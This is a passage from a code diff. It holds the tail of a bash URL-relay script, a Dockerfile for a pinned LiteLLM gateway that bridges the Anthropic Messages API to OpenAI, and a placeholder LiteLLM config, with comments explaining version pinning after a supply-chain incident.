    return 0
 }
 targets=()
 for arg in "$@"; do
    case "$arg" in
        -h|--help)    usage; exit 0 ;;
        -v|--version) printf 'triple-c-open 1.0\n'; exit 0 ;;
        --)           continue ;;
        # Swallow unknown flags (xdg-open accepts --manual etc.) rather than
        # mistaking them for targets.
        -*)           continue ;;
        *)            targets+=("$arg") ;;
    esac
 done
 if [ "${#targets[@]}" -eq 0 ]; then
    note "$PROGRAM_NAME: no URL given"
    usage
    exit 1   # xdg-open convention: 1 = error in command line syntax
 fi
 if [ "${#targets[@]}" -gt "$MAX_TARGETS" ]; then
    note "$PROGRAM_NAME: refusing to relay ${#targets[@]} URLs at once (max $MAX_TARGETS)"
    exit 4
 fi
 status=0
 for target in "${targets[@]}"; do
    relay "$target" || status=$?
 done
 exit "$status"
@@ -0,0 +1,56 @@
 # Triple-C model gateway — a LiteLLM proxy that speaks the Anthropic Messages
 # API on the front and OpenAI (or any other LiteLLM provider) on the back.
 #
 # Claude Code only ever talks the Anthropic Messages API: it POSTs to
 # `${ANTHROPIC_BASE_URL}/v1/messages`. OpenAI has no such route, so an OpenAI
 # key cannot be pointed at Claude Code directly. LiteLLM's proxy exposes
 # `/v1/messages` in Anthropic format and translates each request to the
 # configured provider, which is what makes first-class OpenAI support possible.
 #
 # ── Why this image is built FROM the official LiteLLM image ──────────────────
 # We deliberately do NOT `pip install litellm` ourselves. The official image is
 # built by the LiteLLM maintainers from a locked dependency set and already
 # carries the proxy entrypoint (`docker/prod_entrypoint.sh`), the admin UI and
 # the Prisma bits. Hand-rolling a pip install would mean re-resolving the whole
 # dependency tree on every build — exactly the surface that got poisoned in the
 # incident below — and would drift from what upstream tests.
 #
 # ── Why the version is PINNED and why THIS version ───────────────────────────
 # LiteLLM 1.82.7 and 1.82.8 were published to PyPI containing malware. Anything
 # that resolves `litellm` at build time (or floats a `latest`/`main-latest` tag)
 # can silently land on a compromised build, so the tag here is pinned to an
 # exact release and additionally pinned by digest — a tag can be re-pushed, a
 # digest cannot.
 #
 # The malicious wheels never became images — the official images build from a
 # pinned requirements.txt and were confirmed unaffected (GHSA-5mg7-485q-xm76,
 # https://docs.litellm.ai/blog/security-update-march-2026). The reason to pin is
 # to keep it that way: a floating tag re-resolves, and this container ends up
 # holding an OpenAI API key.
 #
 # v1.96.0 is chosen rather than the nearest clean post-incident release (1.83.0)
 # because the intervening releases fix a run of *ordinary* proxy CVEs that matter
 # for a gateway published on a host port: SQL injection in API-key verification
 # (CVE-2026-42208, fixed 1.83.7), auth bypass via Host header injection
 # (CVE-2026-49468, fixed 1.84.0) and MCP auth bypass (CVE-2026-59822, fixed
 # 1.84.0). 1.84.0 is the floor; v1.96.0 is the newest release with no open OSV
 # advisories at the time of writing. Note LiteLLM has retired the `main-*` tag
 # family (`main-latest` is no longer updated, `main-stable` is deprecated) in
 # favour of plain semver tags, which is why this is `v1.96.0` and not
 # `main-v1.96.0-stable`.
 #
 # Bump deliberately, never automatically, and re-check the digest when you do.
 FROM ghcr.io/berriai/litellm:v1.96.0@sha256:90d8de0ea6fbb3cad145d1019d00a0149ae400b1e18e2011a60f1988f143f672
 # A placeholder config so the image is runnable on its own. Triple-C overwrites
 # /etc/litellm/config.yaml (a named volume) with the generated one before the
 # container is started for the first time — the generated file holds the
 # provider API key, so it is never baked into an image layer.
 COPY config.yaml /etc/litellm/config.yaml
 EXPOSE 4000
 # The base image's ENTRYPOINT is `docker/prod_entrypoint.sh`, which execs
 # `litellm "$@"`. These are the arguments Triple-C also passes explicitly when
 # it runs the unmodified upstream image instead of this one.
 CMD ["--config", "/etc/litellm/config.yaml", "--host", "0.0.0.0", "--port", "4000"]
@@ -0,0 +1,27 @@
 # Placeholder LiteLLM config baked into the Triple-C gateway image.
 #
 # This file exists only so the image starts on its own. Triple-C generates the
 # real config from Settings → Model Gateway and uploads it over this path
 # (/etc/litellm/config.yaml) before the container's first start, because the
 # generated file contains the provider API key and must not live in an image
 # layer.
 #
 # The generated file has the same shape:
 #
 #   model_list:
 #     - model_name: <friendly name a project puts in ANTHROPIC_MODEL>
 #       litellm_params:
 #         model: <provider>/<provider-side model id>
 #         api_key: <key read from the OS keychain>
 #         api_base: <optional provider base URL override>
 #   general_settings:
 #     master_key: <generated; projects send it as ANTHROPIC_AUTH_TOKEN>
 #   litellm_settings:
 #     drop_params: true
 model_list: []
 litellm_settings:
  # Anthropic-format requests carry fields some providers reject outright.
  # Dropping unsupported params is what makes the translation survive.
  drop_params: true